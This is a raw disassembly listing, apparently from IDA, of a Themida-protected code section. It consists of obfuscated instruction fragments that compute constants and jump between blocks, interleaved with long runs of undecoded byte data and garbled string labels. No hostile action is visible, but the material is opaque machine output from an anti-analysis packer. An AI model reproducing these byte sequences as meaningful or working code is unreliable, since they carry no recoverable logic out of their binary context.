		jmp	loc_554386
; ---------------------------------------------------------------------------
		db 21h,	0C6h, 58h
		dd 20C68146h, 0E9F29FF0h, 0C47h
dword_559A0C	dd 4EC81h, 14890000h, 0E9E28924h, 0FFFF77D2h, 806DEB80h
					; DATA XREF: Themida_:0054FBA8o
		dd 8CE9B8EBh
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559A27:				; CODE XREF: Themida_:00556321j
		push	ebx
		mov	ebx, 63B76600h
		mov	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		push	edx
		jmp	loc_550847
; ---------------------------------------------------------------------------
		db 0BBh, 0FEh, 0EDh
		dd 0DD29B192h, 0FF7A55E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559A45:				; CODE XREF: Themida_:0055BA05j
		push	78h
		mov	[esp], eax
		jmp	loc_5535D4
; ---------------------------------------------------------------------------


loc_559A52:				; CODE XREF: Themida_:0055502Ej
		push	ebp
		jmp	loc_555EF3
; ---------------------------------------------------------------------------
		dd offset loc_411167+1
		dd 24048900h, 0FF63AEE9h, 80DFF6FFh, 24E96FE7h,	80FFFFBBh
		dd 0B3534CE2h, 0B2F38084h, 0C0DCF380h, 0D4E904E3h, 6600001Eh
		dd 5024148Bh, 405E089h,	5000000h, 2, 8B240487h,	0EC832424h
		dd 4896602h, 0EB86624h,	0C301664Ch, 66565866h, 662F50BEh
		dd 2A1CF681h, 5EF32966h, 57C0B70Fh, 0A2E9E789h,	0BBFFFFCAh
		dd 2, 515BD901h, 0FF6E67E9h, 4C481FFh, 81000000h, 4ECh
		dd 243C8900h, 0E47460BFh, 15E7810Fh, 535BF85Fh,	0C41F9ABBh
		dd 0F8EB817Fh, 159CDE7h, 81475BDFh, 18A82EEFh, 91DAE9A0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559B06:				; CODE XREF: Themida_:0054FEC0j
		shl	eax, 2
		sub	eax, 0A63E45A6h
		jmp	loc_55242A
; ---------------------------------------------------------------------------
aNsf		db '╜ИF"',0             ; DATA XREF: Themida_:0054FC1Co
		dd 0C8B6600h, 2C48124h,	0
		dd 2CEF04D8h, 366866C5h, 0C896639h, 0B937E924h,	68FFFFh
		dd 0E9000079h, 0FFFFF950h
; ---------------------------------------------------------------------------


loc_559B40:				; CODE XREF: Themida_:005570D1j
		mov	[esp], eax
		jmp	loc_556F21
; ---------------------------------------------------------------------------


loc_559B48:				; CODE XREF: Themida_:00556F2Fj
		mov	[esp], ebx
		push	edi
		jmp	loc_55BF3E
; ---------------------------------------------------------------------------
aIS		db '┴з[Иь$',0
		dd 0F2FBBE00h, 4EE91659h, 59FFFFE4h, 0E95BDD88h, 0FFFFC167h
		dd 6607E5C0h, 2454F651h, 0C8B6601h, 2C48324h, 441ED80h
		dd 0AB87E92Fh, 0C481FFFFh, 4, 8B24048Fh, 8B662424h, 0A2682404h
		dd 89000065h, 5E542434h, 4C681h, 0FA680000h, 89000042h
		dd 46E9241Ch
		db 8Fh,	2 dup(0FFh)
byte_559BB3	db 66h			; DATA XREF: Themida_:0054FCE8o
		dd 6824048Bh, 4CA7h, 0AEAE9h
		db 0
; ---------------------------------------------------------------------------


loc_559BC1:				; CODE XREF: Themida_:0055AB65j
		push	4E7A2C8Eh
		pop	ebp
		xor	ebp, 5B6C095Fh
		or	ebp, 37810D9Bh
		jmp	loc_553948
; ---------------------------------------------------------------------------


loc_559BD8:				; CODE XREF: Themida_:0055733Cj
		xor	edi, 5FFD4F3Eh
		push	esi
		mov	esi, edi
		push	5418h
		mov	[esp], eax
		jmp	loc_551872
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 320320C2h, 8E1AC381h, 0DA29123Ah, 0D3E2815Bh, 81458A25h
		dd 20F085EAh, 5AD689F0h, 0FF94DDE9h, 243481FFh,	6A5F6462h
		dd 74B8E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559C1E:				; CODE XREF: Themida_:00557843j
		pop	edx
		inc	edi
		xchg	eax, edi
		push	eax
		not	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_551593
; ---------------------------------------------------------------------------
dword_559C30	dd 0FF3877FFh, 0C8B2434h, 0E1895124h, 4C181h, 0E9810000h
					; DATA XREF: Themida_:0054FD14o
		dd 4, 2474FF51h, 48F5904h, 5E95C24h, 87FFFFAFh,	0B6BA52DFh
		dd 21736A3Eh, 0EF815AD7h, 72082002h, 0FFDFC7E9h, 243487FFh
		dd 8124248Bh, 0F2567CEBh, 51C3012Fh, 567CBE56h,	0DBE92FF2h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559C87:				; CODE XREF: Themida_:005501CDj
		mov	[esp], edx
		jmp	loc_55782F
; ---------------------------------------------------------------------------
		db 81h
		dd 0C3A530C7h, 5FF801F3h, 2474FF50h, 1466E904h,	0F660000h
		dd 5166C8AFh, 6165E99Ch, 8353FFFFh, 248904ECh, 0B0FCE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559CBA:				; CODE XREF: Themida_:00551263j
		mov	[esp], edx
		mov	edx, 52BA7081h
		or	edx, 42F4242h
		and	edx, 75F97C52h
		neg	edx
		xor	edx, 0F4AE8AB3h
		or	edi, edx
		jmp	loc_55733B
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FFFFBDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559CE5:				; CODE XREF: Themida_:00552EB0j
		push	3402h
		mov	[esp], ebp
		push	15792DBDh
		mov	ebp, [esp]
		add	esp, 4
		neg	ebp
		not	ebp
		not	ebp
		jmp	loc_559F1F
; ---------------------------------------------------------------------------
		db 0B8h
		dd 1BE21ACh, 0A82ACF35h, 55A02552h, 0E2054CCCh,	0E9BFFBFEh
		dd 0FFFF62C6h, 0EC83C501h, 241C8904h, 6F3A1DBBh, 5BC3813Eh
		dd 0D109883Dh, 6DF381E3h, 29CB14ABh, 241C8BDDh,	4C481h
		dd 0E9580000h, 0FFFFB1B2h, 0F82CD828h, 0E3E96A04h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559D53:				; CODE XREF: Themida_:00557D20j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	5F1Ah
		jmp	loc_55C076
; ---------------------------------------------------------------------------
byte_559D67	db 56h			; DATA XREF: Themida_:0054FD24o
		dd 7666EE68h, 0E6815E70h, 953070Ch, 45F9C681h, 0F6815A30h
		dd 531E4670h, 0E95EF389h, 0FFFFF836h, 1EF81h, 9AE90000h
		dd 81FFFF99h, 4ECh, 241C8900h, 0F7240487h, 240487D0h, 0FFA84FE9h
		dd 515866FFh, 88C78853h, 5D685BF9h, 89000055h, 0BD55241Ch
		dd 47CE18F0h, 0FF897DE9h, 58722DFFh, 0C8012CD1h, 5872BB53h
		dd 0D8012CD1h, 5E9595Bh
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559DDB:				; CODE XREF: Themida_:00550462j
		mov	[esp], ebx
		jmp	loc_552AA3
; ---------------------------------------------------------------------------
		db 81h
		dd 20E4E0C7h, 5FFD01CFh, 0E9242C87h, 0FFFFB427h, 0C581E589h
		dd 4, 5504C583h, 42474FFh, 0FF8EFAE9h, 25C781FFh, 0E900881Ch
		dd 0FFFF90A1h, 81240C8Bh, 4C4h,	0F8E8E900h, 48BFFFFh, 0D1AEE924h
		dd 0C15BFFFFh, 0F3E907E7h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559E33:				; CODE XREF: Themida_:005561AAj
		push	48EDh
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	ebp
		mov	ebp, 4
		sub	ecx, ebp
		pop	ebp
		xor	ecx, [esp]
		jmp	loc_558025
; ---------------------------------------------------------------------------
		dd 81DA015Bh, 0DA1772C2h, 0E9020304h, 0FFFFB60Fh, 0A9A4E956h
		dd 0C31FFFFh, 240C3324h, 0C89665Ch, 5F99E924h, 0FF5BFFFFh
		dd 10E92434h, 1000009h,	0D50158C2h, 4C5835Ah, 3B1668h
		dd 0A38FE900h, 0E954FFFFh, 0FFFFAFF5h, 0FF5F72E9h, 5BDA01FFh
		dd 8B241487h, 0C3312424h, 0FFA28DE9h, 21665CFFh, 0E99C2404h
		dd 0FFFF5F57h
; ---------------------------------------------------------------------------


loc_559EBC:				; CODE XREF: Themida_:00555460j
		push	7A11h
		jmp	loc_552B99
; ---------------------------------------------------------------------------


loc_559EC6:				; CODE XREF: Themida_:00558550j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_554216
; ---------------------------------------------------------------------------
		db 31h,	0D5h, 0E9h
		dd 0FFFF6A25h, 8704E883h, 248B2404h, 24148924h,	2C7A0DBAh
		dd 0E9D7312Ah, 0FFFFE35Ch, 8054F580h, 79E9D7E5h, 66FFFFC8h
		dd 0E99CC83Bh, 0FFFF5F0Bh, 0EFC10548h, 0C701FFF9h, 4C78158h
		dd 87000000h, 30E9243Ch
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559F1F:				; CODE XREF: Themida_:00559CFEj
		xor	ebp, 0EA86D203h
		push	ebp
		add	dword ptr [esp], 1CD87C60h
		pop	edx
		jmp	loc_555951
; ---------------------------------------------------------------------------
		db 5Eh
		dd 36A9C281h, 0DA01661Dh, 36A9EA81h, 835B661Dh,	0FF5202C2h
		dd 5A042474h, 0FFF865E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559F51:				; CODE XREF: Themida_:00558B35j
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_555D13
; ---------------------------------------------------------------------------


loc_559F5E:				; CODE XREF: Themida_:00552BEAj
		add	esi, 0DC864EE9h
		mov	eax, esi
		jmp	loc_555465
; ---------------------------------------------------------------------------
		db 81h
		dd 6220D5EEh, 0C6015B7Ah, 8904EC83h, 7BD242Ch, 8117B63Fh
		dd 26526FF5h, 4EC8352h,	0BB241C89h, 6CC16745h, 10B1E9h
		db 0
byte_559F95	db 66h,	8Bh, 4		; DATA XREF: Themida_:0054FB34o
		dd 0E1895124h, 57A0B850h, 6AE95CFDh, 0F6FFFFD1h, 1E77E9E1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559FAE:				; CODE XREF: Themida_:00550D87j
		mov	eax, 36AB69A4h
		not	eax
		push	esi
		mov	esi, 0C954965Bh
		sub	eax, esi
		pop	esi
		add	eax, ebx
		add	dword ptr [eax], 1
		pop	eax
		jmp	loc_55588A
; ---------------------------------------------------------------------------


loc_559FCC:				; CODE XREF: Themida_:005550FCj
		mov	ch, 32h
		not	ch
		dec	ch
		shl	ch, 8
		add	ch, 67h
		jmp	loc_55B27C
; ---------------------------------------------------------------------------
		db 5Dh,	0E9h, 0BDh
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559FE3:				; CODE XREF: Themida_:0055417Dj
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55328E
; ---------------------------------------------------------------------------


loc_559FF0:				; CODE XREF: Themida_:00550B83j
		sub	edx, ebp
		pop	ebp
		jmp	loc_550C00
; ---------------------------------------------------------------------------
		dd 1BF8685Ch, 3C890000h, 0EBA5224h, 0D144AF1Ch,	55F281E2h
		dd 4224BB38h, 72E9DAF7h, 56FFFF9Ah, 0FFE1A3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A01D:				; CODE XREF: Themida_:0055B8E1j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	edx, 0FFFFFFFFh
		push	dword ptr [edi+24h]
		push	edx
		pop	dword ptr [edi+24h]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5576BC
; ---------------------------------------------------------------------------
byte_55A03F	db 0FFh			; DATA XREF: Themida_:0054FDC4o
		dd 0E9582434h, 0FFFF8C9Fh, 0E9E2B050h, 284h, 0B967E95Dh
		dd 0C581FFFFh, 4, 4BA52h, 0D5290000h, 1915E9h, 241C8700h
		dd 0E924248Bh, 0FFFF9455h, 93756925h, 925BE915h, 0E957FFFFh
		dd 0FFFF8F46h
; ---------------------------------------------------------------------------


loc_55A084:				; CODE XREF: Themida_:0055427Ej
		mov	eax, [esp]
		add	esp, 4
		sub	esi, 1
		push	eax
		jmp	loc_55384B
; ---------------------------------------------------------------------------
byte_55A093	db 0FFh			; DATA XREF: Themida_:0054FCACo
a4Yhi		db '4$Yh⌡|',0
		align 4
		dd 54243489h, 5724348Bh, 0C781E789h, 4,	8704C783h, 0E95C243Ch
		dd 0FFFFEB35h, 0C580DD00h, 90BBE9DFh, 148BFFFFh, 4C48124h
		dd 83000000h, 1C8904ECh, 80D3B724h, 0E7804AF7h,	0C6DEE967h
		dd 0EB80FFFFh, 52E300D4h, 0BFE9FCB6h
		db 78h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A0EB:				; CODE XREF: Themida_:0055B47Bj
		push	1Bh
		mov	[esp], edx
		mov	edx, 65A715B1h
		and	edx, 44BA1447h
		and	edx, 1DBD46DEh
		add	edx, 0A3311D7h
		jmp	loc_558DD4
; ---------------------------------------------------------------------------
		db 52h
		dd 4BAh, 0E9D30100h, 0FFFFA43Ah
dword_55A11C	dd 240C8B66h, 7F3DE952h, 0E8E9FFFFh, 89FFFF5Ch,	0E789243Ch
					; DATA XREF: Themida_:0054FD00o
		dd 33EE68h, 24348900h, 468h, 0C7815E00h, 38820325h, 2FDCEF81h
		dd 0F7015E3Bh, 2FDCC781h, 0FAE95E3Bh, 0F6FFFFB4h, 0E9C2FEDAh
		dd 0FFFFA86Eh, 852CE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A166:				; CODE XREF: Themida_:00551ADEj
		and	ecx, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		jmp	loc_554BFE
; ---------------------------------------------------------------------------
		dd 0B2E9C301h, 81FFFF6Ah, 4ECh,	0B290E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A186:				; CODE XREF: Themida_:00558DD5j
		shl	edx, 2
		add	edx, 0E6BD0E83h
		jmp	loc_553399
; ---------------------------------------------------------------------------
		dd 0EEE9F929h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A19B:				; CODE XREF: Themida_:005527AEj
		sub	edx, 23616D62h
		jmp	loc_551117
; ---------------------------------------------------------------------------
		dw 0FF58h
		dd 0D5E92434h, 66FFFFDBh, 66242C89h, 22474FFh, 8F665D66h
		dd 0BBE92404h, 0BBFFFFABh, 207C1EA7h, 60F4C381h, 0B6E939BBh
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A1D3:				; CODE XREF: Themida_:0055593Ej
		pop	ebx
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	eax, ebx
		push	dword ptr [esp]
		jmp	loc_55955B
; ---------------------------------------------------------------------------
		dd 59241CF6h, 80C7E980h, 8853BDC1h, 64E951CBh, 51000008h
		dd 4B9h, 0E9CF0100h, 0FFFFB3F9h
dword_55A208	dd 24048B66h, 77F068h, 241C8900h, 4EC81h, 8F540000h, 0BE562404h
					; DATA XREF: Themida_:0054FD88o
		dd 4, 4247401h,	0FFBD85E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A22D:				; CODE XREF: Themida_:0055A69Ej
		push	esi
		not	dword ptr [esp]
		jmp	loc_554ADA
; ---------------------------------------------------------------------------
		dw 0DE20h
		dd 51B4505Bh, 0FF7A02E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A241:				; CODE XREF: Themida_:00553714j
		mov	edx, 0D751109h
		inc	edx
		sub	edx, 24506DD3h
		inc	edx
		shr	edx, 1
		or	edx, 0CC159FDh
		xor	edx, 780D07C3h
		add	esi, edx
		jmp	loc_556CE1
; ---------------------------------------------------------------------------
		db 81h
		dd 167B3FC6h, 53DEF739h, 463BA52h, 0CA871BB5h, 0CA87D1F7h
		dd 3ED5BB53h, 0E381715Eh, 3E571D3Ch, 4337F381h,	3EE91EEDh
		db 0EFh, 2 dup(0FFh)
aMhkr		db '╛h╙R',0             ; DATA XREF: Themida_:0054FD80o
		dd 241C8900h, 0C7800BB7h, 8BEF8065h, 0FFEFCAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A2A5:				; CODE XREF: Themida_:0055B94Dj
		xchg	edi, [esp]
		pop	esp
		and	eax, ebp
		pop	ebp
		or	edx, eax
		shl	edx, 1
		push	eax
		mov	eax, 24h
		jmp	loc_551A2B
; ---------------------------------------------------------------------------
		db 66h
		dd 52240C89h, 0FFBC6AE9h, 0E9D5F7FFh, 0FFFFF3EEh, 0E9243C8Bh
		dd 0FFFFF7FDh, 7B342C04h, 0B353E0D0h, 0EA8CE9CEh, 0C058FFFFh
		dd 0DEF603EEh, 0EE80D6F6h, 5AF188F1h, 5966C828h, 1039E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A2F9:				; CODE XREF: Themida_:00550B21j
		add	ebx, 6AA86722h
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 21E0257Bh
		shr	ecx, 5
		shl	ecx, 7
		and	ecx, 590A1A04h
		add	ecx, 71B24DA9h
		add	ebx, 4E126800h
		sub	ebx, ecx
		sub	ebx, 4E126800h
		jmp	loc_5534B9
; ---------------------------------------------------------------------------
		db 33h
		dd 1C31241Ch, 241C3324h, 2434FF5Ch, 8124048Bh, 4C4h, 25C56800h
		dd 0C890000h, 81E18924h, 4C1h, 5E4E6800h, 0BCE90000h, 83000019h
		dd 0C78304C4h, 243C8702h, 0D224248Bh, 0E99C242Ch, 0FFFF5A9Bh
		dd 504E0C1h, 7A0D4545h,	79E70D2Dh, 58C62921h, 348BF531h
		dd 4C48124h, 89000000h,	0EA815DEAh, 0F953CF48h,	0F75AD531h
		dd 68B1E9D5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A3A6:				; CODE XREF: Themida_:00553DC2j
		pop	edi
		jmp	loc_5539D1
; ---------------------------------------------------------------------------


loc_55A3AC:				; CODE XREF: Themida_:0055C106j
		shr	ecx, 7
		jmp	loc_55A9F4
; ---------------------------------------------------------------------------
		dd 471388BDh, 246C814Fh, 2D56C804h, 246C291Eh, 24448104h
		dd 2D56C804h, 48B5D1Eh,	204F6824h, 14890000h, 0E9E28924h
		dd 0FFFF900Dh, 0E95AD108h, 0FFFF7754h
dword_55A3E8	dd 24048B66h, 6A9B68h, 24348900h, 0BA52E689h, 792329AEh
					; DATA XREF: Themida_:0054FB4Co
		dd 53C4E281h, 0F2815FC4h, 0FA40DF3h, 0FFA152E9h, 0E58166FFh
		dd 53660BB0h, 2315BB66h, 66DD0166h, 6653665Bh, 661E3FBBh
		dd 5B66DD01h, 0FFE82966h, 50E92434h, 0BDFFFF9Eh, 4, 0FF7FB2E9h
		dd 5AD529FFh, 0FFFC39E9h, 88645CFFh, 59C5E902h,	0D109FFFFh
		dd 0FFF00FE9h, 0E9CD01FFh, 0FFFFE755h, 8702C583h, 248B242Ch
		dd 66E9F624h, 66CCB60Fh, 0E90F0D68h, 0FFFFA8CEh
; ---------------------------------------------------------------------------


loc_55A474:				; CODE XREF: Themida_:00554771j
		xchg	ebp, [esp]
		jmp	loc_5513A2
; ---------------------------------------------------------------------------


loc_55A47C:				; CODE XREF: Themida_:005533E8j
		pop	ebp
		sub	eax, 503E6B78h
		xor	eax, 1D3DF28Dh
		jmp	loc_552515
; ---------------------------------------------------------------------------
		dd 0E902C483h, 0FFFF9E6Bh, 0F581D5F7h, 5D4465ADh, 0EFC9BE56h
		dd 35E9FE60h, 87FFFF7Bh, 248B2434h, 48B6624h, 0E3895324h
		dd 4C381h, 0EB830000h, 0AAD9E904h, 515EFFFFh, 0D67170B9h
		dd 72F18115h, 0E90EEF6Bh, 0FFFF7AEBh
dword_55A4D4	dd 240C8B66h, 505A5452h, 0FF9A18E9h, 5AC9BDFFh,	0CDE942B4h
					; DATA XREF: Themida_:0054FBF4o
		dd 29FFFF85h, 0BA71E9C7h, 685EFFFFh, 2ADFh, 0E9240C89h
		dd 0FFFF8A08h, 0E95DEB29h, 0FFFF5AEAh, 5C242C87h, 0E99CC83Bh
		dd 0FFFF58FFh
; ---------------------------------------------------------------------------


loc_55A514:				; CODE XREF: Themida_:00551464j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 7C1971FCh
		sub	ebx, 612D1A80h
		push	edx
		jmp	loc_551E65
; ---------------------------------------------------------------------------
word_55A52E	dw 7568h		; DATA XREF: Themida_:0054FC30o
		dd 89000035h, 0D8E92414h
		db 58h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A53B:				; CODE XREF: Themida_:00551E94j
		mov	[esp], ebx
		mov	bh, 43h
		push	ecx
		mov	cl, 0E0h
		or	cl, 87h
		jmp	loc_55525E
; ---------------------------------------------------------------------------
byte_55A54B	db 8Bh			; DATA XREF: Themida_:0054FC2Co
		dd 58E92404h, 0B5FFFFE6h, 0C285E9F1h, 5056FFFFh, 6350AFB8h
		dd 0D58E9CBh, 0D5890000h, 0FF90ECE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A56D:				; CODE XREF: Themida_:00556B26j
		sub	eax, ecx
		pop	ecx
		jmp	loc_553D9B
; ---------------------------------------------------------------------------
		db 1, 0FBh, 5Fh
		dd 0EB81F329h, 447835A9h, 78CBEB81h, 0DE877EC9h, 0D40EE95Bh
		db 2 dup(0FFh)
word_55A58E	dw 8B66h		; DATA XREF: Themida_:0054FBC8o
		dd 43E9240Ch, 0B8FFFFE8h, 572C7B3Ah, 2397F8BDh,	58C50125h
		dd 0D1C58145h, 8183AFECh, 0E2610EEh, 81EE0126h,	0E2610C6h
		dd 2434FF26h, 4C4815Dh,	0E9000000h, 0FFFFA4B3h,	6DE9D3B2h
		db 0E3h, 2 dup(0FFh)
byte_55A5CF	db 66h			; DATA XREF: Themida_:0054FD3Co
		dd 55240C8Bh, 0BF575D54h, 4, 535FFD01h,	0FF7B91E9h, 241C89FFh
		dd 50E9E6B3h, 89FFFF67h, 65E9EBh, 0BB530000h, 71322E05h
		dd 895BDD01h, 0C3815DEEh, 16B37AEEh, 5EB81h, 0F3017D34h
		dd 5C381h, 0EB817D34h, 16B37AEEh, 61DFE95Eh
		db 2 dup(0FFh)
word_55A622	dw 8B66h		; DATA XREF: Themida_:0054FC50o
		dd 0E968240Ch, 0E9000068h, 0FFFFFAFBh, 5107E9C1h, 1242C81h
		dd 59000000h, 1686C981h, 0E9515CBBh, 0FFFFA324h, 4C581h
		dd 6CE90000h, 83FFFF72h, 0BE904ECh, 5DFFFF9Ah, 0FFCE48E9h
		dd 2B850FFh, 81000000h,	0C32CF8C2h, 0EED0E953h,	0E0B3FFFFh
		dd 1C8BDD88h, 0B108E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A67E:				; CODE XREF: Themida_:0054FF17j
		mov	ebp, 4
		add	ebx, 0AE27619h
		add	ebx, ebp
		push	esi
		mov	esi, 3C7F0AD9h
		sub	esi, 33622D06h
		add	esi, 5D0106AFh
		dec	esi
		jmp	loc_55A22D
; ---------------------------------------------------------------------------


loc_55A6A3:				; CODE XREF: Themida_:00555264j
		xor	cl, 89h
		jmp	loc_5526EF
; ---------------------------------------------------------------------------
		db 89h
		dd 21E9243Ch, 81FFFFF3h, 4C4h, 0FE4AE900h, 8953FFFFh, 4C381E3h
		dd 0E9000000h, 0FFFF70A3h, 0E9241C89h, 0FFFFDB11h, 0FCDAE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A6DA:				; CODE XREF: Themida_:00550383j
		push	ebx
		push	7B2Fh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		push	7FD4h
		mov	[esp], ebx
		jmp	loc_55453E
; ---------------------------------------------------------------------------


loc_55A707:				; CODE XREF: Themida_:0055612Cj
		xchg	edi, [esp]
		pop	esp
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, 5DB33D1Fh
		shr	edx, 4
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		mov	edx, 45607CCEh
		mov	ecx, 3E412C85h
		xor	ecx, edx
		pop	edx
		push	ebx
		mov	ebx, 22164A44h
		add	ebx, 20E92136h
		and	ebx, 59694610h
		not	ebx
		xor	ebx, 94EAEE0Eh
		sub	ecx, ebx
		pop	ebx
		shr	ecx, 1
		push	edx
		push	1463h
		mov	[esp], eax
		mov	eax, 1C8256A1h
		mov	edx, eax
		pop	eax
		xor	ecx, edx
		pop	edx
		add	ecx, 0C98B0B3Dh
		xor	edx, ecx
		jmp	loc_55863D
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 5
		dd 4, 8704E883h, 895C2404h, 0D6E92404h,	8B000012h, 46E92414h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A79B:				; CODE XREF: Themida_:00551E60j
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		push	2F90h
		mov	[esp], esi
		push	52FA228Eh
		jmp	loc_55795E
; ---------------------------------------------------------------------------
		dd 592434FFh, 8904EC83h, 0FF54242Ch, 835D2434h,	20E904C4h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55A7D3:				; CODE XREF: Themida_:00552544j
		push	ebx
		mov	ebx, 0
		add	ebx, ecx
		push	edx
		jmp	loc_5555E3
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 89241C89h, 0E95655E3h, 0FFFFC875h, 0E955575Ah, 0FFFF9CFAh
; ---------------------------------------------------------------------------


loc_55A7F8:				; CODE XREF: Themida_:0055100Ej
		push	ebx
		mov	ebx, esp
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_55543D
; ---------------------------------------------------------------------------
word_55A812	dw 8B66h		; DATA XREF: Themida_:0054FBD8o
		dd 57532404h, 0FF59DBE9h, 0C28952FFh, 7935E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A826:				; CODE XREF: Themida_:00552F36j
		shl	ch, 1
		jmp	loc_556F0A
; ---------------------------------------------------------------------------


loc_55A82D:				; CODE XREF: Themida_:00550BE5j
		pop	ecx
		xchg	ecx, edi
		xor	ebp, edi
		jmp	loc_554BBF
; ---------------------------------------------------------------------------


loc_55A837:				; CODE XREF: Themida_:00559814j
		pop	eax
		push	edi
		mov	edi, 762125EBh
		jmp	loc_5571AD
; ---------------------------------------------------------------------------
		db 57h
		dd 1B79D1BFh, 5FFA8926h, 815AD309h, 1F79D3F3h, 0D4C5812Eh
		dd 0E91D0D2Ah, 0FFFF9EE9h, 830CB551h, 896602ECh, 6EE92404h
		dd 5FFFFFD6h, 5002C083h, 42474FFh, 0FF907FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A87D:				; CODE XREF: Themida_:00554F3Fj
		not	ebp
		jmp	loc_55753D
; ---------------------------------------------------------------------------
		dd 33243C31h, 665C243Ch, 0E9240489h, 0FFFF557Fh, 0EC83E389h
		dd 0E986E904h, 481FFFFh, 424h, 24048F00h, 4240481h, 8B000000h
		dd 0C4812434h, 4, 70968h, 241C8900h, 0FF676AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A8C5:				; CODE XREF: Themida_:0055B88Dj
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_558E53
; ---------------------------------------------------------------------------
		dw 7668h
		dd 89000021h, 8B542434h, 0C4832434h, 4C68104h, 81000000h
		dd 4ECh, 24048900h, 0E904EC83h,	0FFFFCA08h, 2404D25Ch
		dd 5515E99Ch, 0C780FFFFh, 0E7F780A7h, 0EF80C7FEh, 2837B532h
		dd 241C8BFDh, 0C004C483h, 0B25204EDh, 0F6DAF6FAh, 0E8C280D2h
		dd 1493E9h, 5E7C100h, 76BEF781h, 0C7817F42h, 8BF91040h
		dd 0E95FF989h, 0FFFFD67Fh, 4EC8159h, 89000000h,	0BB53242Ch
		dd 393E6E9Ch, 0E95BDD89h, 0FFFFE047h, 4EE81h, 34870000h
		dd 14895C24h, 7D24E924h, 0FA88FFFFh, 88D78853h,	0E5E95BFCh
		dd 81FFFFD8h, 2D45B3C7h, 81F7290Bh, 2D45B3EFh, 3C335E0Bh
		dd 0FEFAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A98A:				; CODE XREF: Themida_:00557BA4j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_552DB1
; ---------------------------------------------------------------------------
		dd 610968h, 242C8900h, 124EB850h, 0FFE94CEBh, 0F7FFFF60h
		dd 44702DD8h, 40E95704h, 4DFFFFB0h, 5EBE9h
		db 0
byte_55A9BD	db 8Bh,	2 dup(24h)	; DATA XREF: Themida_:0054FB88o
		dd 0FF544EE9h, 77BE56FFh, 1FC4558h, 0C2C8E9F0h,	0E953FFFFh
		dd 0FFFFF061h, 81C3015Ch, 0B901CBEBh, 4EC835Dh,	0E9240489h
		dd 0FFFFBA91h
; ---------------------------------------------------------------------------


loc_55A9EC:				; CODE XREF: Themida_:0055C161j
		mov	[esp], ebx
		jmp	loc_553586
; ---------------------------------------------------------------------------


loc_55A9F4:				; CODE XREF: Themida_:0055A3AFj
		push	ecx
		jmp	loc_5504AD
; ---------------------------------------------------------------------------
		dw 0C300h
		dd 0E95A5866h, 0FFFFDFB2h, 4C481h, 0F5E90000h
		db 0B7h, 2 dup(0FFh)
